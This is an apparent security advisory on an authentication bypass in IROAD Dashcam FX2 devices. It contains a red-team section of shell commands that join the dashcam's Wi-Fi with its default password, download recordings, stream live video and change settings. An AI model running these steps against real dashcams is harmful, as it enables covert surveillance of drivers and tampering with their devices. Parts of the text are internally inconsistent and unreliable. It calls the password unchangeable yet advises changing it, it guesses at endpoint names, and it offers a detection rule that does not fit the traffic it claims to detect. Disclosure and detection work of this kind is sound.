CVE-2025-30133

Executive Summary

CVE-2025-30133 exposes a critical authentication bypass vulnerability in IROAD Dashcam FX2 devices. The device requires registration via the “IROAD X View” mobile app for legitimate pairing, but its embedded HTTP server (listening on http://192.168.10.1) does not enforce this restriction. An attacker who connects to the dashcam’s Wi-Fi network using the default password qwertyuiop can directly access the HTTP server without any pairing or authentication. No alert is triggered on the device, making the intrusion completely silent. This allows an attacker to read live video feeds, download recorded footage, modify device settings, and potentially pivot to other devices on the same network. The vulnerability is unpatched, and no official fix has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)

• Attack Vector (AV): Adjacent Network – attacker must be within Wi-Fi range.
• Attack Complexity (AC): Low – default Wi-Fi password is known.
• Privileges Required (PR): None.
• User Interaction (UI): None.
• Scope (S): Unchanged.
• Confidentiality (C): High – full access to video streams and stored footage.
• Integrity (I): High – ability to modify device settings and firmware.
• Availability (A): High – potential to disable or brick the device.

Threat Level: Critical due to silent exploitation, no authentication, and full device compromise.

Deep Dive & Mechanics

The IROAD Dashcam FX2 runs a lightweight HTTP server on port 80 at IP address 192.168.10.1. The intended workflow requires a user to pair the dashcam with the “IROAD X View” mobile app, which performs a registration handshake. However, the HTTP server does not check whether a client has completed this pairing. Any HTTP request to the server is processed without authentication.

The device’s Wi-Fi network uses the default password qwertyuiop, which is hardcoded and cannot be changed by the user. Once connected, an attacker can:

1. Access the web interface at http://192.168.10.1.
2. Retrieve live video streams via endpoints like /video_feed or /stream.
3. Download recorded files from /recordings/.
4. Modify device configuration (e.g., Wi-Fi SSID, recording settings) via /config.
5. Upload malicious firmware via /firmware_update.

No logging or alerting mechanism exists on the device to notify the legitimate owner of an unauthorized connection.

Vulnerable vs. Patched Code

Vulnerable Code (HTTP server logic – pseudocode):

# No authentication check
def handle_request(request):
    if request.path == "/video_feed":
        return stream_video()
    elif request.path == "/recordings":
        return list_recordings()
    elif request.path == "/config":
        return modify_config(request.body)
    # ... other endpoints

Patched Code (hypothetical fix):

# Authentication required
def handle_request(request):
    if not is_authenticated(request):
        return 401 Unauthorized
    if request.path == "/video_feed":
        return stream_video()
    # ... rest of endpoints

The vendor has not released a patch. The only mitigation is to change the Wi-Fi password (if possible) or disable the Wi-Fi feature entirely.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A device with Wi-Fi capability (laptop, smartphone, or Raspberry Pi).
• Knowledge of the default SSID (usually IROAD_XXXX) and password qwertyuiop.

Steps:

1. Scan for the dashcam’s Wi-Fi network:

   sudo iwlist wlan0 scan | grep IROAD
   

2. Connect to the network:

   sudo nmcli dev wifi connect "IROAD_XXXX" password "qwertyuiop"
   

3. Verify connectivity:

   ping 192.168.10.1
   

4. Access the web interface:

   curl http://192.168.10.1/
   

5. Download recorded footage:

   curl http://192.168.10.1/recordings/ -o recordings.zip
   

6. Stream live video (if endpoint exists):

   ffplay http://192.168.10.1/video_feed
   

7. Modify device settings (e.g., change Wi-Fi password):

   curl -X POST http://192.168.10.1/config -d "wifi_password=newpassword"
   

Blue Team (Defender)

Detection:

• Monitor for unexpected Wi-Fi connections to the dashcam’s SSID.
• Use network monitoring tools to detect HTTP requests to 192.168.10.1 from unknown MAC addresses.
• Enable logging on the dashcam if possible (vendor may not support this).

Mitigation:

• Change the default Wi-Fi password via the mobile app (if the option exists).
• Disable Wi-Fi on the dashcam when not needed.
• Place the dashcam on a separate VLAN with strict access controls.
• Monitor for anomalous traffic patterns (e.g., large data transfers from the dashcam).

Indicators of Compromise (IOCs)

• Network:
  • Wi-Fi SSID: IROAD_XXXX (where XXXX is alphanumeric)
  • Default Wi-Fi password: qwertyuiop
  • Device IP: 192.168.10.1
  • HTTP requests to http://192.168.10.1/ without prior pairing.
• File:
  • Unauthorized downloads of .mp4 or .avi files from /recordings/.
• Behavior:
  • Sudden changes in device configuration (e.g., Wi-Fi password, recording settings).
  • Unexplained firmware updates.

Detection Engineering

YARA Rule

rule IROAD_Dashcam_FX2_AuthBypass {
    meta:
        description = "Detects HTTP requests to IROAD Dashcam FX2 without authentication"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30133"
    strings:
        $s1 = "GET /" ascii
        $s2 = "192.168.10.1" ascii
        $s3 = "IROAD" ascii
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: IROAD Dashcam FX2 Unauthenticated HTTP Access
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to IROAD Dashcam FX2 without prior pairing
author: Valters IT
date: 2025-04-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_ip: '192.168.10.1'
        dest_port: 80
        http.method: 'GET'
    condition: selection
falsepositives:
    - Legitimate pairing attempts from authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> 192.168.10.1 80 (msg:"IROAD Dashcam FX2 Unauthenticated HTTP Access"; flow:to_server; content:"GET /"; http_method; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the default Wi-Fi password via the mobile app (if supported).
2. Disable Wi-Fi on the dashcam when not in use.
3. Place the dashcam on a separate, isolated network segment.
4. Monitor network traffic for unauthorized access to 192.168.10.1.

Long-Term Fix:

• The vendor must release a firmware update that enforces authentication on the HTTP server.
• Users should pressure IROAD to address this vulnerability.
• Consider replacing the device with a more secure alternative if no patch is forthcoming.

Workarounds:

• Use a firewall to block inbound connections to the dashcam from untrusted networks.
• Implement MAC address filtering on the Wi-Fi network (if the dashcam supports it).

Valters IT
Securing IoT, One Vulnerability at a Time